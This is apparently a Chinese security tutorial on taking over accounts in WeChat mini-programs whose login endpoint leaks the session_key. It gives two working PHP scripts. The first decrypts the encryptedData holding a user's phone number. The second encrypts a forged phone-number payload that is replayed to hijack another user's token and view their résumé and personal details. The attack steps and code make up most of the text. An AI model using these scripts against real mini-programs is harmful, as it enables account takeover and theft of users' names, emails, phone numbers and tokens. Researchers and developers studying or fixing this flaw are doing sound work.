如果小程序存在手机号快捷登录,首先需要获取微信用户绑定的手机号。先调用wx.login接口,由用户主动触发来获取手机号。微信小程序存在EncryptedData、SessionKey、IV来进行加密的机制,EncryptedData是由明文的个人信息被SessionKey与IV加密获得的。由于用户数据的加解密通讯需要依赖会话密钥(session_key)来完成,若在调用过程中开发人员忽略安全问题误将本次登录的会话密钥(session_key)返回到客户端,攻击者可以利用session_key结合IV值来加解密EncryptedData,从而实现微信小程序的任意账户接管。
①小程序存在微信手机号快捷登录的功能:
②在wxLogin登录接口返回session_key
③在正常getMobile获取手机号接口找到iv值以及对应的encryptedData。获取到三要素:encryptedData,session_key,iv值,其实这里已经返回到对应用户的敏感信息了。包含邮箱、姓名、电话以及token值
④解密
<?php
echo "请输⼊SessionKey: ";
$sessionKey = fgets(STDIN);
echo "请输⼊本次加密IV: ";
$iv = fgets(STDIN);
echo "请输⼊待解密内容: ";
$encryptedData = fgets(STDIN);
function decryptData( $encryptedData, $iv, $sessionKey ) { $aesIV = base64_decode($iv); $aesCipher = base64_decode($encryptedData);
$aesKey = base64_decode($sessionKey); $result = openssl_decrypt($aesCipher, "AES-128-CBC", $aesKey, 1, $aesIV); $dataObj = json_decode($result);
return $result;
}
$result = decryptData($encryptedData, $iv, $sessionKey);
echo sprintf("最终的解密结果为: %s\n", $result);
运行脚本:
encryptedData+session_key+iv = phoneNumber
⑤加密
从上面可以看到,这里通过手机号来确定用户的标识。我们尝试接管手机号188xxx的权限。我们要加密的内容:
{"phoneNumber":"188xxx","purePhoneNumber":"188xxxx","countryCode":"86","watermark":{"timestamp":1638277220,"appid":"wx1cf959f941c33f64"}}
加密脚本:
<?php
echo "请输⼊SessionKey: ";
$sessionKey = fgets(STDIN);
echo "请输⼊本次解密IV: ";
$iv = fgets(STDIN);
echo "请输⼊待加密内容: ";
$decryptedData = fgets(STDIN);
function encryptData( $decryptedData, $iv, $sessionKey )
{
$aesIV = base64_decode($iv); $aesCipher = $decryptedData; $aesKey = base64_decode($sessionKey);
$result = openssl_encrypt($aesCipher, "AES-128-CBC", $aesKey, 0, $aesIV); $dataObj = json_decode($result);
return $result;
}
$result = encryptData($decryptedData, $iv, $sessionKey);
echo sprintf("最终的加密结果为: %s\n", $result);
将最终的加密结果放到对应接口里面去,成功劫持到用户信息。包含邮箱、姓名、电话以及token值
我们利用这个token就可以干很多事情了,例如预览简历:
in all:知道用户手机号就能获取用户的简历或者在小程序上进行任意操作